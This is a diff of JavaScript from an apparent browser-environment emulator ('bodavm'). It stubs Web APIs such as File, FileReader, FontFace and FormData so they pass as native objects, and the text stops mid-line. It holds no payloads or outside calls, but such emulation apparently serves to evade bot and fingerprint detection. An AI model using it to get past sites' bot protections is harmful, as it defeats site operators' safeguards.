-bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStream'], "WritableStream"); -bodavm.toolsFunc.defineProperty('WritableStream', "locked", {configurable:true, enumerable:true, get:function locked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "locked_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStream', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStream', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStream', "getWriter", {configurable:true, enumerable:true, writable:true, value:function getWriter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStream'].prototype, "WritableStream", "getWriter", arguments)}},'prototype'); - -// FileSystemHandle对象 -bodavm.memory.globalobj['FileSystemHandle'] = function FileSystemHandle(){if (!(this instanceof FileSystemHandle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemHandle'], "FileSystemHandle"); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "isSameEntry", {configurable:true, enumerable:true, writable:true, value:function isSameEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "isSameEntry", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "queryPermission", {configurable:true, enumerable:true, writable:true, value:function queryPermission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "queryPermission", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemHandle', "requestPermission", {configurable:true, enumerable:true, writable:true, value:function requestPermission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemHandle'].prototype, "FileSystemHandle", "requestPermission", arguments)}},'prototype'); - -// FeaturePolicy对象 -bodavm.memory.globalobj['FeaturePolicy'] = function FeaturePolicy(){if (!(this instanceof FeaturePolicy)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FeaturePolicy'], "FeaturePolicy"); -bodavm.toolsFunc.defineProperty('FeaturePolicy', "allowedFeatures", {configurable:true, enumerable:true, writable:true, value:function allowedFeatures (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "allowedFeatures", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FeaturePolicy', "allowsFeature", {configurable:true, enumerable:true, writable:true, value:function allowsFeature (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "allowsFeature", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FeaturePolicy', "features", {configurable:true, enumerable:true, writable:true, value:function features (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "features", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FeaturePolicy', "getAllowlistForFeature", {configurable:true, enumerable:true, writable:true, value:function getAllowlistForFeature (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "getAllowlistForFeature", arguments)}},'prototype'); - -// FederatedCredential对象 -bodavm.memory.globalobj['FederatedCredential'] = function FederatedCredential(){if (!(this instanceof FederatedCredential)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FederatedCredential': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FederatedCredential'], "FederatedCredential"); -bodavm.memory.globalobj['FederatedCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['FederatedCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('FederatedCredential', "provider", {configurable:true, enumerable:true, get:function provider (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "provider_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FederatedCredential', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FederatedCredential', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FederatedCredential', "iconURL", {configurable:true, enumerable:true, get:function iconURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "iconURL_get", arguments)}, set:undefined},'prototype'); - -// fetch对象 -bodavm.memory.globalobj['fetch'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('fetch', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('fetch', "name", {configurable:true, enumerable:false, writable:false, value:"fetch"}); - -// File对象 -bodavm.memory.globalobj['File'] = function File(){if (!(this instanceof File)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'File': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['File'], "File"); -bodavm.memory.globalobj['File'].prototype.__proto__=bodavm.memory.globalobj['Blob'].prototype; -bodavm.memory.globalobj['File'].__proto__=bodavm.memory.globalobj['Blob']; -bodavm.toolsFunc.defineProperty('File', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('File', "lastModified", {configurable:true, enumerable:true, get:function lastModified (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "lastModified_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('File', "lastModifiedDate", {configurable:true, enumerable:true, get:function lastModifiedDate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "lastModifiedDate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('File', "webkitRelativePath", {configurable:true, enumerable:true, get:function webkitRelativePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "webkitRelativePath_get", arguments)}, set:undefined},'prototype'); - -// FileList对象 -bodavm.memory.globalobj['FileList'] = function FileList(){if (!(this instanceof FileList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileList'], "FileList"); -bodavm.toolsFunc.defineProperty('FileList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileList'].prototype, "FileList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileList'].prototype, "FileList", "item", arguments)}},'prototype'); - -// FileReader对象 -bodavm.memory.globalobj['FileReader'] = function FileReader(){this._boarg= new bodaobj.window.FileReader();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileReader'], "FileReader"); -bodavm.memory.globalobj['FileReader'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['FileReader'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('FileReader', "EMPTY", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('FileReader', "LOADING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('FileReader', "DONE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('FileReader', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onloadend", {configurable:true, enumerable:true, get:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadend_get", arguments)}, set:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "EMPTY", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "LOADING", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "DONE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "readAsArrayBuffer", {configurable:true, enumerable:true, writable:true, value:function readAsArrayBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsArrayBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "readAsBinaryString", {configurable:true, enumerable:true, writable:true, value:function readAsBinaryString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsBinaryString", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "readAsDataURL", {configurable:true, enumerable:true, writable:true, value:function readAsDataURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsDataURL", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "readAsText", {configurable:true, enumerable:true, writable:true, value:function readAsText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsText", arguments)}},'prototype'); - -// FileSystemDirectoryHandle对象 -bodavm.memory.globalobj['FileSystemDirectoryHandle'] = function FileSystemDirectoryHandle(){if (!(this instanceof FileSystemDirectoryHandle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemDirectoryHandle'], "FileSystemDirectoryHandle"); -bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype.__proto__=bodavm.memory.globalobj['FileSystemHandle'].prototype; -bodavm.memory.globalobj['FileSystemDirectoryHandle'].__proto__=bodavm.memory.globalobj['FileSystemHandle']; -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "getDirectoryHandle", {configurable:true, enumerable:true, writable:true, value:function getDirectoryHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "getDirectoryHandle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "getFileHandle", {configurable:true, enumerable:true, writable:true, value:function getFileHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "getFileHandle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "removeEntry", {configurable:true, enumerable:true, writable:true, value:function removeEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "removeEntry", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "resolve", {configurable:true, enumerable:true, writable:true, value:function resolve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "resolve", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemDirectoryHandle', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemDirectoryHandle'].prototype, "FileSystemDirectoryHandle", "values", arguments)}},'prototype'); - -// FileSystemFileHandle对象 -bodavm.memory.globalobj['FileSystemFileHandle'] = function FileSystemFileHandle(){if (!(this instanceof FileSystemFileHandle)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemFileHandle'], "FileSystemFileHandle"); -bodavm.memory.globalobj['FileSystemFileHandle'].prototype.__proto__=bodavm.memory.globalobj['FileSystemHandle'].prototype; -bodavm.memory.globalobj['FileSystemFileHandle'].__proto__=bodavm.memory.globalobj['FileSystemHandle']; -bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "createWritable", {configurable:true, enumerable:true, writable:true, value:function createWritable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "createWritable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "getFile", {configurable:true, enumerable:true, writable:true, value:function getFile (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "getFile", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemFileHandle', "move", {configurable:true, enumerable:true, writable:true, value:function move (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemFileHandle'].prototype, "FileSystemFileHandle", "move", arguments)}},'prototype'); - -// FileSystemWritableFileStream对象 -bodavm.memory.globalobj['FileSystemWritableFileStream'] = function FileSystemWritableFileStream(){if (!(this instanceof FileSystemWritableFileStream)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileSystemWritableFileStream'], "FileSystemWritableFileStream"); -bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype.__proto__=bodavm.memory.globalobj['WritableStream'].prototype; -bodavm.memory.globalobj['FileSystemWritableFileStream'].__proto__=bodavm.memory.globalobj['WritableStream']; -bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "seek", {configurable:true, enumerable:true, writable:true, value:function seek (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "seek", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "truncate", {configurable:true, enumerable:true, writable:true, value:function truncate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "truncate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileSystemWritableFileStream', "write", {configurable:true, enumerable:true, writable:true, value:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileSystemWritableFileStream'].prototype, "FileSystemWritableFileStream", "write", arguments)}},'prototype'); - -// find对象 -bodavm.memory.globalobj['find'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('find', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('find', "name", {configurable:true, enumerable:false, writable:false, value:"find"}); - -// focus对象 -bodavm.memory.globalobj['focus'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('focus', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('focus', "name", {configurable:true, enumerable:false, writable:false, value:"focus"}); - -// FocusEvent对象 -bodavm.memory.globalobj['FocusEvent'] = function FocusEvent(){if (!(this instanceof FocusEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FocusEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FocusEvent'], "FocusEvent"); -bodavm.memory.globalobj['FocusEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['FocusEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('FocusEvent', "relatedTarget", {configurable:true, enumerable:true, get:function relatedTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FocusEvent'].prototype, "FocusEvent", "relatedTarget_get", arguments)}, set:undefined},'prototype'); - -// FontData对象 -bodavm.memory.globalobj['FontData'] = function FontData(){if (!(this instanceof FontData)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontData'], "FontData"); -bodavm.toolsFunc.defineProperty('FontData', "postscriptName", {configurable:true, enumerable:true, get:function postscriptName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "postscriptName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontData', "fullName", {configurable:true, enumerable:true, get:function fullName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "fullName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontData', "family", {configurable:true, enumerable:true, get:function family (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "family_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontData', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "style_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontData', "blob", {configurable:true, enumerable:true, writable:true, value:function blob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontData'].prototype, "FontData", "blob", arguments)}},'prototype'); - -// FontFace对象 -bodavm.memory.globalobj['FontFace'] = function FontFace(){if (!(this instanceof FontFace)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FontFace': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontFace'], "FontFace"); -bodavm.toolsFunc.defineProperty('FontFace', "family", {configurable:true, enumerable:true, get:function family (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "family_get", arguments)}, set:function family (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "family_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "weight", {configurable:true, enumerable:true, get:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "weight_get", arguments)}, set:function weight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "weight_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "stretch", {configurable:true, enumerable:true, get:function stretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "stretch_get", arguments)}, set:function stretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "stretch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "unicodeRange", {configurable:true, enumerable:true, get:function unicodeRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "unicodeRange_get", arguments)}, set:function unicodeRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "unicodeRange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "variant", {configurable:true, enumerable:true, get:function variant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "variant_get", arguments)}, set:function variant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "variant_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "featureSettings", {configurable:true, enumerable:true, get:function featureSettings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "featureSettings_get", arguments)}, set:function featureSettings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "featureSettings_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "display", {configurable:true, enumerable:true, get:function display (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "display_get", arguments)}, set:function display (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "display_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "ascentOverride", {configurable:true, enumerable:true, get:function ascentOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "ascentOverride_get", arguments)}, set:function ascentOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "ascentOverride_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "descentOverride", {configurable:true, enumerable:true, get:function descentOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "descentOverride_get", arguments)}, set:function descentOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "descentOverride_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "lineGapOverride", {configurable:true, enumerable:true, get:function lineGapOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "lineGapOverride_get", arguments)}, set:function lineGapOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "lineGapOverride_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "sizeAdjust", {configurable:true, enumerable:true, get:function sizeAdjust (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "sizeAdjust_get", arguments)}, set:function sizeAdjust (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "sizeAdjust_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "status_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "loaded", {configurable:true, enumerable:true, get:function loaded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "loaded_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "load", {configurable:true, enumerable:true, writable:true, value:function load (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "load", arguments)}},'prototype'); - -// FontFaceSetLoadEvent对象 -bodavm.memory.globalobj['FontFaceSetLoadEvent'] = function FontFaceSetLoadEvent(){if (!(this instanceof FontFaceSetLoadEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FontFaceSetLoadEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontFaceSetLoadEvent'], "FontFaceSetLoadEvent"); -bodavm.memory.globalobj['FontFaceSetLoadEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['FontFaceSetLoadEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('FontFaceSetLoadEvent', "fontfaces", {configurable:true, enumerable:true, get:function fontfaces (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFaceSetLoadEvent'].prototype, "FontFaceSetLoadEvent", "fontfaces_get", arguments)}, set:undefined},'prototype'); - -// FormData对象 - -bodavm.memory.globalobj['FormData'] = function FormData(){this._boarg= new bodaobj.window.FormData();this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FormData'], "FormData"); - -bodavm.toolsFunc.defineProperty('FormData', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return 